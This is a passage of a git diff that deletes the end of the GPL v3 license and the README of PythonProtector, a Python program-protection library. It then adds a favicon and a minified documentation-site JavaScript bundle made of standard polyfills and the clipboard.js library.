copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/README.md b/README.md deleted file mode 100644 index 26b2576..0000000 --- a/README.md +++ /dev/null @@ -1,92 +0,0 @@ -# PythonProtector - -![pyprotector](https://cdn.discordapp.com/attachments/1019356864548446269/1066498438386176102/image.png) - -[![forthebadge made-with-python](http://ForTheBadge.com/images/badges/made-with-python.svg)](https://www.python.org/) - -A modern, easy to use and feature-rich way to protect your Python Programs. - -## Features - -- Completely Configurable Module System -- Completely Configurable On Detection System -- Encrypted Logging System With Remote Uploading -- Discord Webhook Support -- Clean, Optimized Code -- Constant Updates - -## Installation - -**Python 3.11 or higher is required** - -Install The PyPi Version: - -```sh -py -3 -m pip install -U PythonProtector -``` - -You may also install the development version: - -```sh -pip install git+https://github.com/xFGhoul/PythonProtector.git -``` - -## Usage - -Quick Example: - -```py -from pathlib import Path -from threading import Thread - -from pyprotector import PythonProtector - -# -- Define Constants -LOGGING_PATH = ( - Path.home() / "AppData/Roaming/PythonProtector/logs/[Security].log" -) # -- This can be any path - -# -- Construct Class -security = PythonProtector( - debug=True, - modules=[ - "AntiProcess", - "AntiVM", - "Miscellaneous", - "AntiDLL", - "AntiAnalysis", - "AntiDump"], - logs_path=LOGGING_PATH, - webhook_url="", - on_detect=[ - "Report", - "Exit", - "Screenshot"], -) - -# -- Main Code -if __name__ == "__main__": - SecurityThread = Thread( - name="Python Protector", target=security.start - ) # -- Start Before Any Other Code Is Run - SecurityThread.start() - # Other Code -``` - -You can find more examples in the [examples](https://github.com/xFGhoul/PythonProtector/blob/dev/examples/) directory. - -## Files and Explanations - -`├──`[`.github`](https://github.com/xFGhoul/PythonProtector/blob/dev/.github) — GitHub configuration including CI/CD workflows
-`├──`[`.vscode`](https://github.com/xFGhoul/PythonProtector/blob/dev/.vscode) — VSCode Related Settings
-`├──`[`data`](https://github.com/xFGhoul/PythonProtector/blob/dev/data) — Data Files Needed By PythonProtector
-`├──`[`examples`](https://github.com/xFGhoul/PythonProtector/blob/dev/examples) — Examples Showing How To Use PythonProtector
-`├──`[`pyprotector`](https://github.com/xFGhoul/PythonProtector/blob/dev/pyprotector) — Source Code Of PythonProtector
-`├──`[`scripts`](https://github.com/xFGhoul/PythonProtector/blob/dev/scripts) — Scripts Used In The Development Process
- -## Links - -- [Documentation](http://ghouldev.me/PythonProtector/) -- [Official Discord Server](https://discord.gg/yMu9qjdrmp) - -> Made With ❤️ By `ghoul#1337` and `Marci#0101` diff --git a/assets/images/favicon.png b/assets/images/favicon.png new file mode 100755 index 0000000..1cf13b9 Binary files /dev/null and b/assets/images/favicon.png differ diff --git a/assets/javascripts/bundle.51d95adb.min.js b/assets/javascripts/bundle.51d95adb.min.js new file mode 100755 index 0000000..b20ec68 --- /dev/null +++ b/assets/javascripts/bundle.51d95adb.min.js @@ -0,0 +1,29 @@ +"use strict";(()=>{var Hi=Object.create;var xr=Object.defineProperty;var Pi=Object.getOwnPropertyDescriptor;var $i=Object.getOwnPropertyNames,kt=Object.getOwnPropertySymbols,Ii=Object.getPrototypeOf,Er=Object.prototype.hasOwnProperty,an=Object.prototype.propertyIsEnumerable;var on=(e,t,r)=>t in e?xr(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,P=(e,t)=>{for(var r in t||(t={}))Er.call(t,r)&&on(e,r,t[r]);if(kt)for(var r of kt(t))an.call(t,r)&&on(e,r,t[r]);return e};var sn=(e,t)=>{var r={};for(var n in e)Er.call(e,n)&&t.indexOf(n)<0&&(r[n]=e[n]);if(e!=null&&kt)for(var n of kt(e))t.indexOf(n)<0&&an.call(e,n)&&(r[n]=e[n]);return r};var Ht=(e,t)=>()=>(t||e((t={exports:{}}).exports,t),t.exports);var Fi=(e,t,r,n)=>{if(t&&typeof t=="object"||typeof t=="function")for(let o of $i(t))!Er.call(e,o)&&o!==r&&xr(e,o,{get:()=>t[o],enumerable:!(n=Pi(t,o))||n.enumerable});return e};var yt=(e,t,r)=>(r=e!=null?Hi(Ii(e)):{},Fi(t||!e||!e.__esModule?xr(r,"default",{value:e,enumerable:!0}):r,e));var fn=Ht((wr,cn)=>{(function(e,t){typeof wr=="object"&&typeof cn!="undefined"?t():typeof define=="function"&&define.amd?define(t):t()})(wr,function(){"use strict";function e(r){var n=!0,o=!1,i=null,a={text:!0,search:!0,url:!0,tel:!0,email:!0,password:!0,number:!0,date:!0,month:!0,week:!0,time:!0,datetime:!0,"datetime-local":!0};function s(T){return!!(T&&T!==document&&T.nodeName!=="HTML"&&T.nodeName!=="BODY"&&"classList"in T&&"contains"in T.classList)}function f(T){var Ke=T.type,We=T.tagName;return!!(We==="INPUT"&&a[Ke]&&!T.readOnly||We==="TEXTAREA"&&!T.readOnly||T.isContentEditable)}function c(T){T.classList.contains("focus-visible")||(T.classList.add("focus-visible"),T.setAttribute("data-focus-visible-added",""))}function u(T){T.hasAttribute("data-focus-visible-added")&&(T.classList.remove("focus-visible"),T.removeAttribute("data-focus-visible-added"))}function p(T){T.metaKey||T.altKey||T.ctrlKey||(s(r.activeElement)&&c(r.activeElement),n=!0)}function m(T){n=!1}function d(T){s(T.target)&&(n||f(T.target))&&c(T.target)}function h(T){s(T.target)&&(T.target.classList.contains("focus-visible")||T.target.hasAttribute("data-focus-visible-added"))&&(o=!0,window.clearTimeout(i),i=window.setTimeout(function(){o=!1},100),u(T.target))}function v(T){document.visibilityState==="hidden"&&(o&&(n=!0),B())}function B(){document.addEventListener("mousemove",z),document.addEventListener("mousedown",z),document.addEventListener("mouseup",z),document.addEventListener("pointermove",z),document.addEventListener("pointerdown",z),document.addEventListener("pointerup",z),document.addEventListener("touchmove",z),document.addEventListener("touchstart",z),document.addEventListener("touchend",z)}function re(){document.removeEventListener("mousemove",z),document.removeEventListener("mousedown",z),document.removeEventListener("mouseup",z),document.removeEventListener("pointermove",z),document.removeEventListener("pointerdown",z),document.removeEventListener("pointerup",z),document.removeEventListener("touchmove",z),document.removeEventListener("touchstart",z),document.removeEventListener("touchend",z)}function z(T){T.target.nodeName&&T.target.nodeName.toLowerCase()==="html"||(n=!1,re())}document.addEventListener("keydown",p,!0),document.addEventListener("mousedown",m,!0),document.addEventListener("pointerdown",m,!0),document.addEventListener("touchstart",m,!0),document.addEventListener("visibilitychange",v,!0),B(),r.addEventListener("focus",d,!0),r.addEventListener("blur",h,!0),r.nodeType===Node.DOCUMENT_FRAGMENT_NODE&&r.host?r.host.setAttribute("data-js-focus-visible",""):r.nodeType===Node.DOCUMENT_NODE&&(document.documentElement.classList.add("js-focus-visible"),document.documentElement.setAttribute("data-js-focus-visible",""))}if(typeof window!="undefined"&&typeof document!="undefined"){window.applyFocusVisiblePolyfill=e;var t;try{t=new CustomEvent("focus-visible-polyfill-ready")}catch(r){t=document.createEvent("CustomEvent"),t.initCustomEvent("focus-visible-polyfill-ready",!1,!1,{})}window.dispatchEvent(t)}typeof document!="undefined"&&e(document)})});var un=Ht(Sr=>{(function(e){var t=function(){try{return!!Symbol.iterator}catch(c){return!1}},r=t(),n=function(c){var u={next:function(){var p=c.shift();return{done:p===void 0,value:p}}};return r&&(u[Symbol.iterator]=function(){return u}),u},o=function(c){return encodeURIComponent(c).replace(/%20/g,"+")},i=function(c){return decodeURIComponent(String(c).replace(/\+/g," "))},a=function(){var c=function(p){Object.defineProperty(this,"_entries",{writable:!0,value:{}});var m=typeof p;if(m!=="undefined")if(m==="string")p!==""&&this._fromString(p);else if(p instanceof c){var d=this;p.forEach(function(re,z){d.append(z,re)})}else if(p!==null&&m==="object")if(Object.prototype.toString.call(p)==="[object Array]")for(var h=0;hd[0]?1:0}),c._entries&&(c._entries={});for(var p=0;p1?i(d[1]):"")}})})(typeof global!="undefined"?global:typeof window!="undefined"?window:typeof self!="undefined"?self:Sr);(function(e){var t=function(){try{var o=new e.URL("b","http://a");return o.pathname="c d",o.href==="http://a/c%20d"&&o.searchParams}catch(i){return!1}},r=function(){var o=e.URL,i=function(f,c){typeof f!="string"&&(f=String(f)),c&&typeof c!="string"&&(c=String(c));var u=document,p;if(c&&(e.location===void 0||c!==e.location.href)){c=c.toLowerCase(),u=document.implementation.createHTMLDocument(""),p=u.createElement("base"),p.href=c,u.head.appendChild(p);try{if(p.href.indexOf(c)!==0)throw new Error(p.href)}catch(T){throw new Error("URL unable to set base "+c+" due to "+T)}}var m=u.createElement("a");m.href=f,p&&(u.body.appendChild(m),m.href=m.href);var d=u.createElement("input");if(d.type="url",d.value=f,m.protocol===":"||!/:/.test(m.href)||!d.checkValidity()&&!c)throw new TypeError("Invalid URL");Object.defineProperty(this,"_anchorElement",{value:m});var h=new e.URLSearchParams(this.search),v=!0,B=!0,re=this;["append","delete","set"].forEach(function(T){var Ke=h[T];h[T]=function(){Ke.apply(h,arguments),v&&(B=!1,re.search=h.toString(),B=!0)}}),Object.defineProperty(this,"searchParams",{value:h,enumerable:!0});var z=void 0;Object.defineProperty(this,"_updateSearchParams",{enumerable:!1,configurable:!1,writable:!1,value:function(){this.search!==z&&(z=this.search,B&&(v=!1,this.searchParams._fromString(this.search),v=!0))}})},a=i.prototype,s=function(f){Object.defineProperty(a,f,{get:function(){return this._anchorElement[f]},set:function(c){this._anchorElement[f]=c},enumerable:!0})};["hash","host","hostname","port","protocol"].forEach(function(f){s(f)}),Object.defineProperty(a,"search",{get:function(){return this._anchorElement.search},set:function(f){this._anchorElement.search=f,this._updateSearchParams()},enumerable:!0}),Object.defineProperties(a,{toString:{get:function(){var f=this;return function(){return f.href}}},href:{get:function(){return this._anchorElement.href.replace(/\?$/,"")},set:function(f){this._anchorElement.href=f,this._updateSearchParams()},enumerable:!0},pathname:{get:function(){return this._anchorElement.pathname.replace(/(^\/?)/,"/")},set:function(f){this._anchorElement.pathname=f},enumerable:!0},origin:{get:function(){var f={"http:":80,"https:":443,"ftp:":21}[this._anchorElement.protocol],c=this._anchorElement.port!=f&&this._anchorElement.port!=="";return this._anchorElement.protocol+"//"+this._anchorElement.hostname+(c?":"+this._anchorElement.port:"")},enumerable:!0},password:{get:function(){return""},set:function(f){},enumerable:!0},username:{get:function(){return""},set:function(f){},enumerable:!0}}),i.createObjectURL=function(f){return o.createObjectURL.apply(o,arguments)},i.revokeObjectURL=function(f){return o.revokeObjectURL.apply(o,arguments)},e.URL=i};if(t()||r(),e.location!==void 0&&!("origin"in e.location)){var n=function(){return e.location.protocol+"//"+e.location.hostname+(e.location.port?":"+e.location.port:"")};try{Object.defineProperty(e.location,"origin",{get:n,enumerable:!0})}catch(o){setInterval(function(){e.location.origin=n()},100)}}})(typeof global!="undefined"?global:typeof window!="undefined"?window:typeof self!="undefined"?self:Sr)});var Qr=Ht((Lt,Kr)=>{/*! + * clipboard.js v2.0.11 + * https://clipboardjs.com/ + * + * Licensed MIT © Zeno Rocha + */(function(t,r){typeof Lt=="object"&&typeof Kr=="object"?Kr.exports=r():typeof define=="function"&&define.amd?define([],r):typeof Lt=="object"?Lt.ClipboardJS=r():t.ClipboardJS=r()})(Lt,function(){return function(){var e={686:function(n,o,i){"use strict";i.d(o,{default:function(){return ki}});var a=i(279),s=i.n(a),f=i(370),c=i.n(f),u=i(817),p=i.n(u);function m(j){try{return document.execCommand(j)}catch(O){return!1}}var d=function(O){var w=p()(O);return m("cut"),w},h=d;function v(j){var O=document.documentElement.getAttribute("dir")==="rtl",w=document.createElement("textarea");w.style.fontSize="12pt",w.style.border="0",w.style.padding="0",w.style.margin="0",w.style.position="absolute",w.style[O?"right":"left"]="-9999px";var k=window.pageYOffset||document.documentElement.scrollTop;return w.style.top="".concat(k,"px"),w.setAttribute("readonly",""),w.value=j,w}var B=function(O,w){var k=v(O);w.container.appendChild(k);var F=p()(k);return m("copy"),k.remove(),F},re=function(O){var w=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{container:document.body},k="";return typeof O=="string"?k=B(O,w):O instanceof HTMLInputElement&&!["text","search","url","tel","password"].includes(O==null?void 0:O.type)?k=B(O.value,w):(k=p()(O),m("copy")),k},z=re;function T(j){return typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?T=function(w){return typeof w}:T=function(w){return w&&typeof Symbol=="function"&&w.constructor===Symbol&&w!==Symbol.prototype?"symbol":typeof w},T(j)}var Ke=function(){var O=arguments.length>0&&arguments[0]!==void 0?arguments[0]:{},w=O.action,k=w===void 0?"copy":w,F=O.container,q=O.target,Le=O.text;if(k!=="copy"&&k!=="cut")throw new Error('Invalid "action" value, use either "copy" or "cut"');if(q!==void 0)if(q&&T(q)==="object"&&q.nodeType===1){if(k==="copy"&&q.hasAttribute("disabled"))throw new Error('Invalid "target" attribute. Please use "readonly" instead of "disabled" attribute');if(k==="cut"&&(q.hasAttribute("readonly")||q.hasAttribute("disabled")))throw new Error(`Invalid "target" attribute. You can't cut text from elements with "readonly" or "disabled" attributes`)}else throw new Error('Invalid "target" value, use a valid Element');if(Le)return z(Le,{container:F});if(q)return k==="cut"?h(q):z(q,{container:F})},We=Ke;function Ie(j){return typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?Ie=function(w){return typeof w}:Ie=function(w){return w&&typeof Symbol=="function"&&w.constructor===Symbol&&w!==Symbol.prototype?"symbol":typeof w},Ie(j)}function Ti(j,O){if(!(j instanceof O))throw new TypeError("Cannot call a class as a function")}function nn(j,O){for(var w=0;w0&&arguments[0]!==void 0?arguments[0]:{};this.action=typeof F.action=="function"?F.action:this.defaultAction,this.target=typeof F.target=="function"?F.target:this.defaultTarget,this.text=typeof F.text=="function"?F.text:this.defaultText,this.container=Ie(F.container)==="object"?F.container:document.body}},{key:"listenClick",value:function(F){var q=this;this.listener=c()(F,"click",function(Le){return q.onClick(Le)})}},{key:"onClick",value:function(F){var q=F.delegateTarget||F.currentTarget,Le=this.action(q)||"copy",Rt=We({action:Le,container:this.container,target:this.target(q),text:this.text(q)});this.emit(Rt?"success":"error",{action:Le,text:Rt,trigger:q,clearSelection:function(){q&&q.focus(),window.getSelection().removeAllRanges()}})}},{key:"defaultAction",value:function(F){return yr("action",F)}},{key:"defaultTarget",value:function(F){var q=yr("target",F);if(q)return document.querySelector(q)}},{key:"defaultText",value:function(F){return yr("text",F)}},{key:"destroy",value:function(){this.listener.destroy()}}],[{key:"copy",value:function(F){var q=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{container:document.body};return z(F,q)}},{key:"cut",value:function(F){return h(F)}},{key:"isSupported",value:function(){var F=arguments.length>0&&arguments[0]!==void 0?arguments[0]:["copy","cut"],q=typeof F=="string"?[F]:F,Le=!!document.queryCommandSupported;return q.forEach(function(Rt){Le=Le&&!!document.queryCommandSupported(Rt)}),Le}}]),w}(s()),ki=Ri},828:function(n){var o=9;if(typeof Element!="undefined"&&!Element.prototype.matches){var i=Element.prototype;i.matches=i.matchesSelector||i.mozMatchesSelector||i.msMatchesSelector||i.oMatchesSelector||i.webkitMatchesSelector}function a(s,f){for(;s&&s.nodeType!==o;){if(typeof s.matches=="function"&&s.matches(f))return s;s=s.parentNode}}n.exports=a},438:function(n,o,i){var a=i(828);function s(u,p,m,d,h){var v=c.apply(this,arguments);return u.addEventListener(m,v,h),{destroy:function(){u.removeEventListener(m,v,h)}}}function f(u,p,m,d,h){return typeof u.addEventListener=="function"?s.apply(null,arguments):typeof m=="function"?s.bind(null,document).apply(null,arguments):(typeof u=="string"&&(u=document.querySelectorAll(u)),Array.prototype.map.call(u,function(v){return s(v,p,m,d,h)}))}function c(u,p,m,d){return function(h){h.delegateTarget=a(h.target,p),h.delegateTarget&&d.call(u,h)}}n.exports=f},879:function(n,o){o.node=function(i){return i!==void 0&&i instanceof HTMLElement&&i.nodeType===1},o.nodeList=function(i){var a=Object.prototype.toString.call(i);return i!==void 0&&(a==="[object NodeList]"||a==="[object HTMLCollection]")&&"length"in i&&(i.length===0||o.node(i[0]))},o.string=function(i){return typeof i=="string"||i instanceof String},o.fn=function(i){var a=Object.prototype.toString.call(i);return a==="[object Function]"}},370:function(n,o,i){var a=i(879),s=i(438);function f(m,d,h){if(!m&&!d&&!h)throw new Error("Missing required arguments");if(!a.string(d))throw new TypeError("Second argument must be a String");if(!a.fn(h))throw new TypeError("Third argument must be a Function");if(a.node(m))return c(m,d,h);if(a.nodeList(m))return u(m,d,h);if(a.string(m))return p(m,d,h);throw new TypeError("First argument must be a String, HTMLElement, HTMLCollection, or NodeList")}function c(m,d,h){return m.addEventListener(d,h),{destroy:function(){m.removeEventListener(d,h)}}}function u(m,d,h){return Array.prototype.forEach.call(m,function(v){v.addEventListener(d,h)}),{destroy:function(){Array.prototype.forEach.call(m,function(v){v.removeEventListener(d,h)})}}}function p(m,d,h){return s(document.body,m,d,h)}n.exports=f},817:function(n){function o(i){var a;if(i.nodeName==="SELECT")i.focus(),a=i.value;else if(i.nodeName==="INPUT"||i.nodeName==="TEXTAREA"){var s=i.hasAttribute("readonly");s||i.setAttribute("readonly",""),i.select(),i.setSelectionRange(0,i.value.length),s||i.removeAttribute("readonly"),a=i.value}else{i.hasAttribute("contenteditable")&&i.focus();var f=window.getSelection(),c=document.createRange();c.selectNodeContents(i),f.removeAllRanges(),f.addRange(c),a=f.toString()}return a}n.exports=o},279:function(n){function o(){}o.prototype={on:function(i,a,s){var f=this.e||(this.e={});return(f[i]||(f[i]=[])).push({fn:a,ctx:s}),this},once:function(i,a,s){var f=this;function c(){f.off(i,c),a.apply(s,arguments)}return c._=a,this.on(i,c,s)},emit:function(i){var a=[].slice.call(arguments,1),s=((this.e||(this.e={}))[i]||[]).slice(),f=0,c=s.length;for(f;f{"use strict";/*! + * escape-html + * Copyright(c) 2012-2013 TJ Holowaychuk + * Copyright(c) 2015 Andreas Lubbe + * Copyright(c) 2015 Tiancheng "Timothy" Gu + * MIT Licensed + */var is=/["'&<>]/;Jo.exports=as;function as(e){var t=""+e,r=is.exec(t);if(!r)return t;var n,o="",i=0,a=0;for(i=r.index;i0&&i[i.length-1])&&(c[0]===6||c[0]===2)){r=0;continue}if(c[0]===3&&(!i||c[1]>i[0]&&c[1]=e.length&&(e=void 0),{value:e&&e[n++],done:!e}}};throw new TypeError(t?"Object is not iterable.":"Symbol.iterator is not defined.")}function W(e,t){var r=typeof Symbol=="function"&&e[Symbol.iterator];if(!r)return e;var n=r.call(e),o,i=[],a;try{for(;(t===void 0||t-- >0)&&!(o=n.next()).done;)i.push(o.value)}catch(s){a={error:s}}finally{try{o&&!o.done&&(r=n.return)&&r.call(n)}finally{if(a)throw a.error}}return i}function D(e,t,r){if(r||arguments.length===2)for(var n=0,o=t.length,i;n1||s(m,d)})})}function s(m,d){try{f(n[m](d))}catch(h){p(i[0][3],h)}}function f(m){m.value instanceof Xe?Promise.resolve(m.value.v).then(c,u):p(i[0][2],m)}function c(m){s("next",m)}function u(m){s("throw",m)}function p(m,d){m(d),i.shift(),i.length&&s(i[0][0],i[0][1])}}function mn(e){if(!Symbol.asyncIterator)throw new TypeError("Symbol.asyncIterator is not defined.");var t=e[Symbol.asyncIterator],r;return t?t.call(e):(e=typeof xe=="function"?xe(e):e[Symbol.iterator](),r={},n("next"),n("throw"),n("return"),r[Symbol.asyncIterator]=function(){return this},r);function n(i){r[i]=e[i]&&function(a){return new Promise(function(s,f){a=e[i](a),o(s,f,a.done,a.value)})}}function o(i,a,s,f){Promise.resolve(f).then(function(c){i({value:c,done:s})},a)}}function A(e){return typeof e=="function"}function at(e){var t=function(n){Error.call(n),n.stack=new Error().stack},r=e(t);return r.prototype=Object.create(Error.prototype),r.prototype.constructor=r,r}var $t=at(function(e){return function(r){e(this),this.message=r?r.length+` errors occurred during unsubscription: +`+r.map(function(n,o){return o+1+") "+n.toString()}).join(` + `):"",this.name="UnsubscriptionError",this.errors=r}});function De(e,t){if(e){var r=e.indexOf(t);0<=r&&e.splice(r,1)}}var Fe=function(){function e(t){this.initialTeardown=t,this.closed=!1,this._parentage=null,this._finalizers=null}return e.prototype.unsubscribe=function(){var t,r,n,o,i;if(!this.closed){this.closed=!0;var a=this._parentage;if(a)if(this._parentage=null,Array.isArray(a))try{for(var s=xe(a),f=s.next();!f.done;f=s.next()){var c=f.value;c.remove(this)}}catch(v){t={error:v}}finally{try{f&&!f.done&&(r=s.return)&&r.call(s)}finally{if(t)throw t.error}}else a.remove(this);var u=this.initialTeardown;if(A(u))try{u()}catch(v){i=v instanceof $t?v.errors:[v]}var p=this._finalizers;if(p){this._finalizers=null;try{for(var m=xe(p),d=m.next();!d.done;d=m.next()){var h=d.value;try{dn(h)}catch(v){i=i!=null?i:[],v instanceof $t?i=D(D([],W(i)),W(v.errors)):i.push(v)}}}catch(v){n={error:v}}finally{try{d&&!d.done&&(o=m.return)&&o.call(m)}finally{if(n)throw n.error}}}if(i)throw new $t(i)}},e.prototype.add=function(t){var r;if(t&&t!==this)if(this.closed)dn(t);else{if(t instanceof e){if(t.closed||t._hasParent(this))return;t._addParent(this)}(this._finalizers=(r=this._finalizers)!==null&&r!==void 0?r:[]).push(t)}},e.prototype._hasParent=function(t){var r=this._parentage;return 